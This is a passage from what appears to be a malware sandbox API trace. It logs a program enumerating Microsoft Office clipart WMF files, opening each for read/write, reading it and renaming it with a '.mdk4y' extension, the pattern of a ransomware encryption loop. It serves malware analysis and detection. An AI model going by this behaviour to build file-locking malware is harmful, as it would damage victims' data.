lpOverlapped=0x0) returned 1 [0166.004] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824123400000) returned 1 [0166.004] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824123400000) returned 1 [0166.005] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf.mdk4y")) returned 1 [0166.006] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.006] AreFileApisANSI () returned 1 [0166.006] GetACP () returned 0x4e4 [0166.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0281243.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0281243.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.006] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824123600000) returned 1 [0166.006] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb5b4, lpOverlapped=0x0) returned 1 [0166.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824123800000) returned 1 [0166.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824123800000) returned 1 [0166.009] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf.mdk4y")) returned 1 [0166.010] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.010] AreFileApisANSI () returned 1 [0166.010] GetACP () returned 0x4e4 [0166.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0281630.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0281630.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.010] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824124100000) returned 1 [0166.011] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31dc, lpOverlapped=0x0) returned 1 [0166.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824126300000) returned 1 [0166.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824126300000) returned 1 [0166.033] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf.mdk4y")) returned 1 [0166.034] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.035] AreFileApisANSI () returned 1 [0166.035] GetACP () returned 0x4e4 [0166.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0281632.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0281632.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.035] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824126500000) returned 1 [0166.035] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3854, lpOverlapped=0x0) returned 1 [0166.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824126700000) returned 1 [0166.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824126700000) returned 1 [0166.038] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf.mdk4y")) returned 1 [0166.039] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.039] AreFileApisANSI () returned 1 [0166.039] GetACP () returned 0x4e4 [0166.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0281638.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0281638.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.039] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.039] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824126900000) returned 1 [0166.039] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2e88, lpOverlapped=0x0) returned 1 [0166.060] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824129000000) returned 1 [0166.060] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824129000000) returned 1 [0166.061] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf.mdk4y")) returned 1 [0166.062] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.062] AreFileApisANSI () returned 1 [0166.062] GetACP () returned 0x4e4 [0166.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0281640.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0281640.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.062] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.063] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824129300000) returned 1 [0166.063] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30f2, lpOverlapped=0x0) returned 1 [0166.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824133200000) returned 1 [0166.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824133200000) returned 1 [0166.103] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf.mdk4y")) returned 1 [0166.104] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.104] AreFileApisANSI () returned 1 [0166.104] GetACP () returned 0x4e4 [0166.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0282126.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0282126.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.104] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824133500000) returned 1 [0166.105] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c9e, lpOverlapped=0x0) returned 1 [0166.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824134400000) returned 1 [0166.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824134500000) returned 1 [0166.115] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf.mdk4y")) returned 1 [0166.116] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.116] AreFileApisANSI () returned 1 [0166.116] GetACP () returned 0x4e4 [0166.116] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0282928.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0282928.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.116] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824134800000) returned 1 [0166.118] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8166, lpOverlapped=0x0) returned 1 [0166.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824134900000) returned 1 [0166.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824134900000) returned 1 [0166.120] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf.mdk4y")) returned 1 [0166.121] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.121] AreFileApisANSI () returned 1 [0166.121] GetACP () returned 0x4e4 [0166.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0282932.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0282932.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.121] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824135300000) returned 1 [0166.124] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3700, lpOverlapped=0x0) returned 1 [0166.159] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824138900000) returned 1 [0166.159] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824138900000) returned 1 [0166.160] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf.mdk4y")) returned 1 [0166.161] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.161] AreFileApisANSI () returned 1 [0166.161] GetACP () returned 0x4e4 [0166.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285462.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285462.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.161] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824139200000) returned 1 [0166.162] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x388a, lpOverlapped=0x0) returned 1 [0166.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824139400000) returned 1 [0166.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824139400000) returned 1 [0166.164] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf.mdk4y")) returned 1 [0166.165] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.165] AreFileApisANSI () returned 1 [0166.165] GetACP () returned 0x4e4 [0166.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285484.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285484.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.165] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824139500000) returned 1 [0166.165] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2440, lpOverlapped=0x0) returned 1 [0166.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824143800000) returned 1 [0166.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824143800000) returned 1 [0166.209] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf.mdk4y")) returned 1 [0166.210] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.210] AreFileApisANSI () returned 1 [0166.210] GetACP () returned 0x4e4 [0166.210] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285780.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285780.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.210] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.210] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824144000000) returned 1 [0166.210] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x795c, lpOverlapped=0x0) returned 1 [0166.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824144500000) returned 1 [0166.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824144500000) returned 1 [0166.216] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf.mdk4y")) returned 1 [0166.217] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.217] AreFileApisANSI () returned 1 [0166.217] GetACP () returned 0x4e4 [0166.217] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285782.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285782.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.217] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.218] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824144800000) returned 1 [0166.218] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x523e, lpOverlapped=0x0) returned 1 [0166.233] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824146300000) returned 1 [0166.233] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824146300000) returned 1 [0166.234] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf.mdk4y")) returned 1 [0166.235] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.235] AreFileApisANSI () returned 1 [0166.235] GetACP () returned 0x4e4 [0166.235] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285792.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285792.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.235] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.235] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824146500000) returned 1 [0166.235] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2eb4, lpOverlapped=0x0) returned 1 [0166.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824147600000) returned 1 [0166.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824147600000) returned 1 [0166.246] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf.mdk4y")) returned 1 [0166.247] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.247] AreFileApisANSI () returned 1 [0166.247] GetACP () returned 0x4e4 [0166.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285796.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285796.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.247] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.248] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824147800000) returned 1 [0166.248] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3550, lpOverlapped=0x0) returned 1 [0166.263] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824149300000) returned 1 [0166.263] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824149300000) returned 1 [0166.263] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 